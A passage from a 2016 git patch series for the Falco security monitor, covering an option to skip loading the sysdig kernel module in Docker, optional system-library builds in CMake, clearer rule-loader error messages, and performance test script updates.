SYSDIG_SKIP_LOAD=1 -it -v /dev:/host/dev -v /proc:/host/proc --privileged falco And it successfully connected to Sysdig and started printing out warnings for my system. falco-CLA-1.0-signed-off-by: Carl Sverre accounts@carlsverre.com --- docker/dev/docker-entrypoint.sh | 16 ++++++++++------ docker/stable/docker-entrypoint.sh | 16 ++++++++++------ 2 files changed, 20 insertions(+), 12 deletions(-) diff --git a/docker/dev/docker-entrypoint.sh b/docker/dev/docker-entrypoint.sh index 5a798e6a..f0d6e32c 100755 --- a/docker/dev/docker-entrypoint.sh +++ b/docker/dev/docker-entrypoint.sh @@ -1,13 +1,17 @@ #!/bin/bash #set -e -echo "* Setting up /usr/src links from host" +# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module -for i in $(ls $SYSDIG_HOST_ROOT/usr/src) -do - ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i -done +if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then + echo "* Setting up /usr/src links from host" -/usr/bin/sysdig-probe-loader + for i in $(ls $SYSDIG_HOST_ROOT/usr/src) + do + ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i + done + + /usr/bin/sysdig-probe-loader +fi exec "$@" diff --git a/docker/stable/docker-entrypoint.sh b/docker/stable/docker-entrypoint.sh index 5a798e6a..f0d6e32c 100755 --- a/docker/stable/docker-entrypoint.sh +++ b/docker/stable/docker-entrypoint.sh @@ -1,13 +1,17 @@ #!/bin/bash #set -e -echo "* Setting up /usr/src links from host" +# Set the SYSDIG_SKIP_LOAD variable to skip loading the sysdig kernel module -for i in $(ls $SYSDIG_HOST_ROOT/usr/src) -do - ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i -done +if [[ -z "${SYSDIG_SKIP_LOAD}" ]]; then + echo "* Setting up /usr/src links from host" -/usr/bin/sysdig-probe-loader + for i in $(ls $SYSDIG_HOST_ROOT/usr/src) + do + ln -s $SYSDIG_HOST_ROOT/usr/src/$i /usr/src/$i + done + + /usr/bin/sysdig-probe-loader +fi exec "$@" From f95a0ead6245973aee41e5ec821f7ced800b9c2b Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Thu, 10 Nov 2016 12:02:40 -0800 Subject: [PATCH 41/63] Honor USE_BUNDLED_DEPS option for third-party libs Honor a USE_BUNDLED_DEPS option for third-party libraries which can be applied globally. There are also USE_BUNDLED_XXX options that can be used individually for each library. Verified that this works by first building with USE_BUNDLED_DEPS=ON (the default), installing external packages ncurses-dev libssl-dev libcurl4-openssl-dev so CMake's find_package could use them, modifying the CMakeLists.txt to add "PATHS ${PROJECT_BINARY_DIR}/..." options to each find_path()/find_library() command to point to the previously installed third party libraries. It found them as expected. The sysdig fix in https://github.com/draios/sysdig/pull/672 forced this change, but it does also happen to fix a falco feature request https://github.com/draios/falco/issues/144. --- CMakeLists.txt | 312 +++++++++++++++++++++++++++++++++++++------------ 1 file changed, 238 insertions(+), 74 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 730f559f..8694ecb1 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -47,99 +47,193 @@ set(SYSDIG_DIR "${PROJECT_SOURCE_DIR}/../sysdig") include(ExternalProject) -set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib") -message(STATUS "Using bundled zlib in '${ZLIB_SRC}'") -set(ZLIB_INCLUDE "${ZLIB_SRC}") -set(ZLIB_LIB "${ZLIB_SRC}/libz.a") -ExternalProject_Add(zlib +option(USE_BUNDLED_DEPS "Enable bundled dependencies instead of using the system ones" ON) + +# +# zlib + +option(USE_BUNDLED_ZLIB "Enable building of the bundled zlib" ${USE_BUNDLED_DEPS}) + +if(NOT USE_BUNDLED_ZLIB) + find_path(ZLIB_INCLUDE zlib.h PATH_SUFFIXES zlib) + find_library(ZLIB_LIB NAMES z) + if(ZLIB_INCLUDE AND ZLIB_LIB) + message(STATUS "Found zlib: include: ${ZLIB_INCLUDE}, lib: ${ZLIB_LIB}") + else() + message(FATAL_ERROR "Couldn't find system zlib") + endif() +else() + set(ZLIB_SRC "${PROJECT_BINARY_DIR}/zlib-prefix/src/zlib") + message(STATUS "Using bundled zlib in '${ZLIB_SRC}'") + set(ZLIB_INCLUDE "${ZLIB_SRC}") + set(ZLIB_LIB "${ZLIB_SRC}/libz.a") + ExternalProject_Add(zlib URL "http://download.draios.com/dependencies/zlib-1.2.8.tar.gz" URL_MD5 "44d667c142d7cda120332623eab69f40" CONFIGURE_COMMAND "./configure" BUILD_COMMAND ${CMD_MAKE} BUILD_IN_SOURCE 1 INSTALL_COMMAND "") +endif() -set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq") -message(STATUS "Using bundled jq in '${JQ_SRC}'") -set(JQ_INCLUDE "${JQ_SRC}") -set(JQ_LIB "${JQ_SRC}/.libs/libjq.a") -ExternalProject_Add(jq +# +# jq +# +option(USE_BUNDLED_JQ "Enable building of the bundled jq" ${USE_BUNDLED_DEPS}) +if(NOT USE_BUNDLED_JQ) + find_path(JQ_INCLUDE jq.h PATH_SUFFIXES jq) + find_library(JQ_LIB NAMES jq) + if(JQ_INCLUDE AND JQ_LIB) + message(STATUS "Found jq: include: ${JQ_INCLUDE}, lib: ${JQ_LIB}") + else() + message(FATAL_ERROR "Couldn't find system jq") + endif() +else() + set(JQ_SRC "${PROJECT_BINARY_DIR}/jq-prefix/src/jq") + message(STATUS "Using bundled jq in '${JQ_SRC}'") + set(JQ_INCLUDE "${JQ_SRC}") + set(JQ_LIB "${JQ_SRC}/.libs/libjq.a") + ExternalProject_Add(jq URL "http://download.draios.com/dependencies/jq-1.5.tar.gz" URL_MD5 "0933532b086bd8b6a41c1b162b1731f9" CONFIGURE_COMMAND ./configure --disable-maintainer-mode --enable-all-static --disable-dependency-tracking BUILD_COMMAND ${CMD_MAKE} LDFLAGS=-all-static BUILD_IN_SOURCE 1 INSTALL_COMMAND "") +endif() set(JSONCPP_SRC "${SYSDIG_DIR}/userspace/libsinsp/third-party/jsoncpp") set(JSONCPP_INCLUDE "${JSONCPP_SRC}") set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp") +# +# curses +# # we pull this in because libsinsp won't build without it -set(CURSES_BUNDLE_DIR "${PROJECT_BINARY_DIR}/ncurses-prefix/src/ncurses") -set(CURSES_INCLUDE_DIR "${CURSES_BUNDLE_DIR}/include/") -set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a") -message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'") -ExternalProject_Add(ncurses + +option(USE_BUNDLED_NCURSES "Enable building of the bundled ncurses" ${USE_BUNDLED_DEPS}) + +if(NOT USE_BUNDLED_NCURSES) + set(CURSES_NEED_NCURSES TRUE) + find_package(Curses REQUIRED) + message(STATUS "Found ncurses: include: ${CURSES_INCLUDE_DIR}, lib: ${CURSES_LIBRARIES}") +else() + set(CURSES_BUNDLE_DIR "${PROJECT_BINARY_DIR}/ncurses-prefix/src/ncurses") + set(CURSES_INCLUDE_DIR "${CURSES_BUNDLE_DIR}/include/") + set(CURSES_LIBRARIES "${CURSES_BUNDLE_DIR}/lib/libncurses.a") + message(STATUS "Using bundled ncurses in '${CURSES_BUNDLE_DIR}'") + ExternalProject_Add(ncurses URL "http://download.draios.com/dependencies/ncurses-6.0-20150725.tgz" URL_MD5 "32b8913312e738d707ae68da439ca1f4" CONFIGURE_COMMAND ./configure --without-cxx --without-cxx-binding --without-ada --without-manpages --without-progs --without-tests --with-terminfo-dirs=/etc/terminfo:/lib/terminfo:/usr/share/terminfo BUILD_COMMAND ${CMD_MAKE} BUILD_IN_SOURCE 1 INSTALL_COMMAND "") +endif() +# +# libb64 +# +option(USE_BUNDLED_B64 "Enable building of the bundled b64" ${USE_BUNDLED_DEPS}) -set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64") -message(STATUS "Using bundled b64 in '${B64_SRC}'") -set(B64_INCLUDE "${B64_SRC}/include") -set(B64_LIB "${B64_SRC}/src/libb64.a") -ExternalProject_Add(b64 +if(NOT USE_BUNDLED_B64) + find_path(B64_INCLUDE NAMES b64/encode.h) + find_library(B64_LIB NAMES b64) + if(B64_INCLUDE AND B64_LIB) + message(STATUS "Found b64: include: ${B64_INCLUDE}, lib: ${B64_LIB}") + else() + message(FATAL_ERROR "Couldn't find system b64") + endif() +else() + set(B64_SRC "${PROJECT_BINARY_DIR}/b64-prefix/src/b64") + message(STATUS "Using bundled b64 in '${B64_SRC}'") + set(B64_INCLUDE "${B64_SRC}/include") + set(B64_LIB "${B64_SRC}/src/libb64.a") + ExternalProject_Add(b64 URL "http://download.draios.com/dependencies/libb64-1.2.src.zip" URL_MD5 "a609809408327117e2c643bed91b76c5" CONFIGURE_COMMAND "" BUILD_COMMAND ${CMD_MAKE} BUILD_IN_SOURCE 1 INSTALL_COMMAND "") +endif() +# +# yamlcpp +# +option(USE_BUNDLED_YAMLCPP "Enable building of the bundled yamlcpp" ${USE_BUNDLED_DEPS}) -set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp") -message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'") -set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a") -set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include") -# Once the next version of yaml-cpp is released (first version not requiring -# boost), we can switch to that and no longer pull from github. -ExternalProject_Add(yamlcpp +if(NOT USE_BUNDLED_YAMLCPP) + find_path(YAMLCPP_INCLUDE_DIR NAMES yaml-cpp/yaml.h) + find_library(YAMLCPP_LIB NAMES yaml-cpp) + if(YAMLCPP_INCLUDE_DIR AND YAMLCPP_LIB) + message(STATUS "Found yamlcpp: include: ${YAMLCPP_INCLUDE_DIR}, lib: ${YAMLCPP_LIB}") + else() + message(FATAL_ERROR "Couldn't find system yamlcpp") + endif() +else() + set(YAMLCPP_SRC "${PROJECT_BINARY_DIR}/yamlcpp-prefix/src/yamlcpp") + message(STATUS "Using bundled yaml-cpp in '${YAMLCPP_SRC}'") + set(YAMLCPP_LIB "${YAMLCPP_SRC}/libyaml-cpp.a") + set(YAMLCPP_INCLUDE_DIR "${YAMLCPP_SRC}/include") + # Once the next version of yaml-cpp is released (first version not requiring + # boost), we can switch to that and no longer pull from github. + ExternalProject_Add(yamlcpp GIT_REPOSITORY "https://github.com/jbeder/yaml-cpp.git" GIT_TAG "7d2873ce9f2202ea21b6a8c5ecbc9fe38032c229" BUILD_IN_SOURCE 1 INSTALL_COMMAND "") +endif() -set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl") -set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target") -set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include") -set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a") -set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a") +# +# OpenSSL +# +option(USE_BUNDLED_OPENSSL "Enable building of the bundled OpenSSL" ${USE_BUNDLED_DEPS}) -message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'") +if(NOT USE_BUNDLED_OPENSSL) + find_package(OpenSSL REQUIRED) + message(STATUS "Found OpenSSL: include: ${OPENSSL_INCLUDE_DIR}, lib: ${OPENSSL_LIBRARIES}") +else() -ExternalProject_Add(openssl + set(OPENSSL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl") + set(OPENSSL_INSTALL_DIR "${OPENSSL_BUNDLE_DIR}/target") + set(OPENSSL_INCLUDE_DIR "${PROJECT_BINARY_DIR}/openssl-prefix/src/openssl/include") + set(OPENSSL_LIBRARY_SSL "${OPENSSL_INSTALL_DIR}/lib/libssl.a") + set(OPENSSL_LIBRARY_CRYPTO "${OPENSSL_INSTALL_DIR}/lib/libcrypto.a") + + message(STATUS "Using bundled openssl in '${OPENSSL_BUNDLE_DIR}'") + + ExternalProject_Add(openssl URL "http://download.draios.com/dependencies/openssl-1.0.2d.tar.gz" URL_MD5 "38dd619b2e77cbac69b99f52a053d25a" CONFIGURE_COMMAND ./config shared --prefix=${OPENSSL_INSTALL_DIR} BUILD_COMMAND ${CMD_MAKE} BUILD_IN_SOURCE 1 INSTALL_COMMAND ${CMD_MAKE} install) +endif() -set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}") +# +# libcurl +# +option(USE_BUNDLED_CURL "Enable building of the bundled curl" ${USE_BUNDLED_DEPS}) +if(NOT USE_BUNDLED_CURL) + find_package(CURL REQUIRED) + message(STATUS "Found CURL: include: ${CURL_INCLUDE_DIR}, lib: ${CURL_LIBRARIES}") +else() + set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl") + set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/") + set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a") -set(CURL_BUNDLE_DIR "${PROJECT_BINARY_DIR}/curl-prefix/src/curl") -set(CURL_INCLUDE_DIR "${CURL_BUNDLE_DIR}/include/") -set(CURL_LIBRARIES "${CURL_BUNDLE_DIR}/lib/.libs/libcurl.a") -message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'") -message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'") + if(NOT USE_BUNDLED_OPENSSL) + set(CURL_SSL_OPTION "--with-ssl") + else() + set(CURL_SSL_OPTION "--with-ssl=${OPENSSL_INSTALL_DIR}") + message(STATUS "Using bundled curl in '${CURL_BUNDLE_DIR}'") + message(STATUS "Using SSL for curl in '${CURL_SSL_OPTION}'") + endif() -ExternalProject_Add(curl + ExternalProject_Add(curl DEPENDS openssl URL "http://download.draios.com/dependencies/curl-7.45.0.tar.bz2" URL_MD5 "62c1a352b28558f25ba6209214beadc8" @@ -147,50 +241,120 @@ ExternalProject_Add(curl BUILD_COMMAND ${CMD_MAKE} BUILD_IN_SOURCE 1 INSTALL_COMMAND "") +endif() -set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src") -message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'") -set(LUAJIT_INCLUDE "${LUAJIT_SRC}") -set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a") -ExternalProject_Add(luajit +# +# LuaJIT +# +option(USE_BUNDLED_LUAJIT "Enable building of the bundled LuaJIT" ${USE_BUNDLED_DEPS}) + +if(NOT USE_BUNDLED_LUAJIT) + find_path(LUAJIT_INCLUDE luajit.h PATH_SUFFIXES luajit-2.0 luajit) + find_library(LUAJIT_LIB NAMES luajit luajit-5.1) + if(LUAJIT_INCLUDE AND LUAJIT_LIB) + message(STATUS "Found LuaJIT: include: ${LUAJIT_INCLUDE}, lib: ${LUAJIT_LIB}") + else() + # alternatively try stock Lua + find_package(Lua51) + set(LUAJIT_LIB ${LUA_LIBRARY}) + set(LUAJIT_INCLUDE ${LUA_INCLUDE_DIR}) + + if(NOT ${LUA51_FOUND}) + message(FATAL_ERROR "Couldn't find system LuaJIT or Lua") + endif() + endif() +else() + set(LUAJIT_SRC "${PROJECT_BINARY_DIR}/luajit-prefix/src/luajit/src") + message(STATUS "Using bundled LuaJIT in '${LUAJIT_SRC}'") + set(LUAJIT_INCLUDE "${LUAJIT_SRC}") + set(LUAJIT_LIB "${LUAJIT_SRC}/libluajit.a") + ExternalProject_Add(luajit URL "http://download.draios.com/dependencies/LuaJIT-2.0.3.tar.gz" URL_MD5 "f14e9104be513913810cd59c8c658dc0" CONFIGURE_COMMAND "" BUILD_COMMAND ${CMD_MAKE} BUILD_IN_SOURCE 1 INSTALL_COMMAND "") +endif() -set (LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg") -set (LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a") -ExternalProject_Add(lpeg - DEPENDS luajit - URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz" - URL_MD5 "0aec64ccd13996202ad0c099e2877ece" - BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build" - BUILD_IN_SOURCE 1 - CONFIGURE_COMMAND "" - INSTALL_COMMAND "") +# +# Lpeg +# +option(USE_BUNDLED_LPEG "Enable building of the bundled lpeg" ${USE_BUNDLED_DEPS}) +if(NOT USE_BUNDLED_LPEG) + find_library(LPEG_LIB NAMES lpeg.a) + if(LPEG_LIB) + message(STATUS "Found lpeg: lib: ${LPEG_LIB}") + else() + message(FATAL_ERROR "Couldn't find system lpeg") + endif() +else() + set(LPEG_SRC "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg") + set(LPEG_LIB "${PROJECT_BINARY_DIR}/lpeg-prefix/src/lpeg/build/lpeg.a") + ExternalProject_Add(lpeg + DEPENDS luajit + URL "http://s3.amazonaws.com/download.draios.com/dependencies/lpeg-1.0.0.tar.gz" + URL_MD5 "0aec64ccd13996202ad0c099e2877ece" + BUILD_COMMAND LUA_INCLUDE=${LUAJIT_INCLUDE} "${PROJECT_SOURCE_DIR}/scripts/build-lpeg.sh" "${LPEG_SRC}/build" + BUILD_IN_SOURCE 1 + CONFIGURE_COMMAND "" + INSTALL_COMMAND "") +endif() -set (LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src") -set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a") -ExternalProject_Add(libyaml - URL "http://download.draios.com/dependencies/libyaml-0.1.4.tar.gz" - URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7" - BUILD_COMMAND ${CMD_MAKE} - BUILD_IN_SOURCE 1 - CONFIGURE_COMMAND ./bootstrap && ./configure - INSTALL_COMMAND "") +# +# Libyaml +# +option(USE_BUNDLED_LIBYAML "Enable building of the bundled libyaml" ${USE_BUNDLED_DEPS}) -set (LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml") -set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a") -ExternalProject_Add(lyaml - URL "http://download.draios.com/dependencies/lyaml-release-v6.0.tar.gz" - URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30" - BUILD_COMMAND ${CMD_MAKE} - BUILD_IN_SOURCE 1 - CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit - INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua") +if(NOT USE_BUNDLED_LIBYAML) + # Note: to distinguish libyaml.a and yaml.a we specify a full + # file name here, so you'll have to arrange for static + # libraries being available. + find_library(LIBYAML_LIB NAMES libyaml.a) + if(LIBYAML_LIB) + message(STATUS "Found libyaml: lib: ${LIBYAML_LIB}") + else() + message(FATAL_ERROR "Couldn't find system libyaml") + endif() +else() + set(LIBYAML_SRC "${PROJECT_BINARY_DIR}/libyaml-prefix/src/libyaml/src") + set(LIBYAML_LIB "${LIBYAML_SRC}/.libs/libyaml.a") + ExternalProject_Add(libyaml + URL "http://download.draios.com/dependencies/libyaml-0.1.4.tar.gz" + URL_MD5 "4a4bced818da0b9ae7fc8ebc690792a7" + BUILD_COMMAND ${CMD_MAKE} + BUILD_IN_SOURCE 1 + CONFIGURE_COMMAND ./bootstrap && ./configure + INSTALL_COMMAND "") +endif() + +# +# lyaml +# +option(USE_BUNDLED_LYAML "Enable building of the bundled lyaml" ${USE_BUNDLED_DEPS}) + +if(NOT USE_BUNDLED_LYAML) + # Note: to distinguish libyaml.a and yaml.a we specify a full + # file name here, so you'll have to arrange for static + # libraries being available. + find_library(LYAML_LIB NAMES yaml.a) + if(LYAML_LIB) + message(STATUS "Found lyaml: lib: ${LYAML_LIB}") + else() + message(FATAL_ERROR "Couldn't find system lyaml") + endif() +else() + set(LYAML_SRC "${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/ext/yaml") + set(LYAML_LIB "${LYAML_SRC}/.libs/yaml.a") + ExternalProject_Add(lyaml + URL "http://download.draios.com/dependencies/lyaml-release-v6.0.tar.gz" + URL_MD5 "dc3494689a0dce7cf44e7a99c72b1f30" + BUILD_COMMAND ${CMD_MAKE} + BUILD_IN_SOURCE 1 + CONFIGURE_COMMAND ./configure --enable-static LIBS=-L../../../libyaml-prefix/src/libyaml/src/.libs CFLAGS=-I../../../libyaml-prefix/src/libyaml/include CPPFLAGS=-I../../../libyaml-prefix/src/libyaml/include LUA_INCLUDE=-I../../../luajit-prefix/src/luajit/src LUA=../../../luajit-prefix/src/luajit/src/luajit + INSTALL_COMMAND sh -c "cp -R ${PROJECT_BINARY_DIR}/lyaml-prefix/src/lyaml/lib/* ${PROJECT_SOURCE_DIR}/userspace/engine/lua") +endif() install(FILES falco.yaml DESTINATION "${FALCO_ETC_DIR}") From 8b18315c1e29e8929d44343696455a1c5be26616 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Thu, 10 Nov 2016 10:00:26 -0800 Subject: [PATCH 42/63] Fully specify FALCO_SHARE_DIR. Instead of having FALCO_SHARE_DIR be a relative path, fully specify it by prepending CMAKE_INSTALL_PREFIX in the top level CMakeLists.txt and don't prepend CMAKE_INSTALL_PREFIX in config_falco_engine.h.in. This makes it consistent with its use in the agent. --- CMakeLists.txt | 2 +- userspace/engine/config_falco_engine.h.in | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 8694ecb1..aaed22ce 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -365,7 +365,7 @@ add_subdirectory("${SYSDIG_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/users add_subdirectory(scripts) set(FALCO_SINSP_LIBRARY sinsp) -set(FALCO_SHARE_DIR share/falco) +set(FALCO_SHARE_DIR ${CMAKE_INSTALL_PREFIX}/share/falco) add_subdirectory(userspace/engine) add_subdirectory(userspace/falco) diff --git a/userspace/engine/config_falco_engine.h.in b/userspace/engine/config_falco_engine.h.in index 56ad1508..137b9a26 100644 --- a/userspace/engine/config_falco_engine.h.in +++ b/userspace/engine/config_falco_engine.h.in @@ -18,5 +18,5 @@ along with falco. If not, see . #pragma once -#define FALCO_ENGINE_LUA_DIR "${CMAKE_INSTALL_PREFIX}/${FALCO_SHARE_DIR}/lua/" +#define FALCO_ENGINE_LUA_DIR "${FALCO_SHARE_DIR}/lua/" #define FALCO_ENGINE_SOURCE_LUA_DIR "${PROJECT_SOURCE_DIR}/../falco/userspace/engine/lua/" From 9ca8ed96b978913aa328718dd5b2b680f0b2eaa7 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Mon, 28 Nov 2016 10:02:33 -0800 Subject: [PATCH 43/63] Improve error messages when loading rules. Related to the changes in https://github.com/draios/agent/pull/267, improve error messages when trying to load sets of rules with errors: - Check that yaml parsing of rules_content actually resulted in something. - Return an error for rules that have an empty name. - Return an error for yaml objects that aren't a rule/macro/list. - When compiling, don't print an error message, simply return one, including a wrapper "can not compile ..." string. --- userspace/engine/lua/compiler.lua | 8 ++--- userspace/engine/lua/rule_loader.lua | 49 ++++++++++++++++++++++++++-- 2 files changed, 51 insertions(+), 6 deletions(-) diff --git a/userspace/engine/lua/compiler.lua b/userspace/engine/lua/compiler.lua index 98c7fcc2..6cfa9dd8 100644 --- a/userspace/engine/lua/compiler.lua +++ b/userspace/engine/lua/compiler.lua @@ -290,8 +290,8 @@ function compiler.compile_macro(line, list_defs) local ast, error_msg = parser.parse_filter(line) if (error_msg) then - print ("Compilation error when compiling \""..line.."\": ", error_msg) - error(error_msg) + msg = "Compilation error when compiling \""..line.."\": ".. error_msg + error(msg) end -- Traverse the ast looking for events/syscalls in the ignored @@ -315,8 +315,8 @@ function compiler.compile_filter(name, source, macro_defs, list_defs) local ast, error_msg = parser.parse_filter(source) if (error_msg) then - print ("Compilation error when compiling \""..source.."\": ", error_msg) - error(error_msg) + msg = "Compilation error when compiling \""..source.."\": "..error_msg + error(msg) end -- Traverse the ast looking for events/syscalls in the ignored diff --git a/userspace/engine/lua/rule_loader.lua b/userspace/engine/lua/rule_loader.lua index c207b1c9..837b73ec 100644 --- a/userspace/engine/lua/rule_loader.lua +++ b/userspace/engine/lua/rule_loader.lua @@ -123,6 +123,45 @@ end -- to a rule. local state = {macros={}, lists={}, filter_ast=nil, rules_by_name={}, n_rules=0, rules_by_idx={}} +-- From http://lua-users.org/wiki/TableUtils +-- +function table.val_to_str ( v ) + if "string" == type( v ) then + v = string.gsub( v, "\n", "\\n" ) + if string.match( string.gsub(v,"[^'\"]",""), '^"+$' ) then + return "'" .. v .. "'" + end + return '"' .. string.gsub(v,'"', '\\"' ) .. '"' + else + return "table" == type( v ) and table.tostring( v ) or + tostring( v ) + end +end + +function table.key_to_str ( k ) + if "string" == type( k ) and string.match( k, "^[_%a][_%a%d]*$" ) then + return k + else + return "[" .. table.val_to_str( k ) .. "]" + end +end + +function table.tostring( tbl ) + local result, done = {}, {} + for k, v in ipairs( tbl ) do + table.insert( result, table.val_to_str( v ) ) + done[ k ] = true + end + for k, v in pairs( tbl ) do + if not done[ k ] then + table.insert( result, + table.key_to_str( k ) .. "=" .. table.val_to_str( v ) ) + end + end + return "{" .. table.concat( result, "," ) .. "}" +end + + function load_rules(rules_content, rules_mgr, verbose, all_events) compiler.set_verbose(verbose) @@ -135,6 +174,10 @@ function load_rules(rules_content, rules_mgr, verbose, all_events) return end + if type(rules) ~= "table" then + error("Rules content \""..rules_content.."\" is not yaml") + end + for i,v in ipairs(rules) do -- iterate over yaml list if (not (type(v) == "table")) then @@ -164,9 +207,9 @@ function load_rules(rules_content, rules_mgr, verbose, all_events) state.lists[v['list']] = items - else -- rule + elseif (v['rule']) then - if (v['rule'] == nil) then + if (v['rule'] == nil or type(v['rule']) == "table") then error ("Missing name in rule") end @@ -217,6 +260,8 @@ function load_rules(rules_content, rules_mgr, verbose, all_events) else error ("Unexpected type in load_rule: "..filter_ast.type) end + else + error ("Unknown rule object: "..table.tostring(v)) end end From 704eb57e3c82c2418cfa75ffca8ade5cf21726d2 Mon Sep 17 00:00:00 2001 From: Mark Stemm Date: Mon, 28 Nov 2016 14:54:14 -0800 Subject: [PATCH 44/63] Allow run_performance_tests to run test_mm. Make necessary changes to allow run_performance_tests to invoke the 'test_mm' program we use internally. Also add ability to run with a build directory separate from the source directory and to specify an alternate rules file. Finally, set up the kubernetes demo using sudo, a result of recent changes. --- test/cpu_monitor.sh | 2 +- test/run_performance_tests.sh | 41 +++++++++++++++++++++++++++++------ 2 files changed, 35 insertions(+), 8 deletions(-) diff --git a/test/cpu_monitor.sh b/test/cpu_monitor.sh index ff902b2d..211cb763 100644 --- a/test/cpu_monitor.sh +++ b/test/cpu_monitor.sh @@ -6,4 +6,4 @@ VARIANT=$3 RESULTS_FILE=$4 CPU_INTERVAL=$5 -top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig|dragent)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"time\": \"%s\", \"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", strftime("%Y-%m-%d %H:%M:%S", systime(), 1), NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE +top -d $CPU_INTERVAL -b -p $SUBJ_PID | grep -E '(falco|sysdig|dragent|test_mm)' --line-buffered | awk -v benchmark=$BENCHMARK -v variant=$VARIANT '{printf("{\"time\": \"%s\", \"sample\": %d, \"benchmark\": \"%s\", \"variant\": \"%s\", \"cpu_usage\": %s},\n", strftime("%Y-%m-%d %H:%M:%S", systime(), 1), NR, benchmark, variant, $9); fflush();}' >> $RESULTS_FILE diff --git a/test/run_performance_tests.sh b/test/run_performance_tests.sh index 28ddde4c..b9885c1f 100644 --- a/test/run_performance_tests.sh +++ b/test/run_performance_tests.sh @@ -28,7 +28,11 @@ function time_cmd() { function run_falco_on() { file="$1" - cmd="$ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false -e $file" + if [ -z $RULES_FILE ]; then + RULES_FILE=$SOURCE/rules/falco_rules.yaml + fi + + cmd="$ROOT/userspace/falco/falco -c $SOURCE/falco.yaml -r $SOURCE/rules/falco_rules.yaml --option=stdout_output.enabled=false -e $file -A" time_cmd "$cmd" "$file" } @@ -131,15 +135,26 @@ function start_monitor_cpu_usage() { function start_subject_prog() { - echo " starting falco/sysdig/agent program" # Do a blocking sudo command now just to ensure we have a password sudo bash -c "" - if [[ $ROOT == *"falco"* ]]; then - sudo $ROOT/userspace/falco/falco -c $ROOT/../falco.yaml -r $ROOT/../rules/falco_rules.yaml --option=stdout_output.enabled=false > ./prog-output.txt 2>&1 & + if [[ $ROOT == *"multimatch"* ]]; then + echo " starting test_mm..." + if [ -z $RULES_FILE ]; then + RULES_FILE=$SOURCE/../output/rules.yaml + fi + sudo $ROOT/test_mm -s $SOURCE/search_order.yaml -r $RULES_FILE > ./prog-output.txt 2>&1 & + elif [[ $ROOT 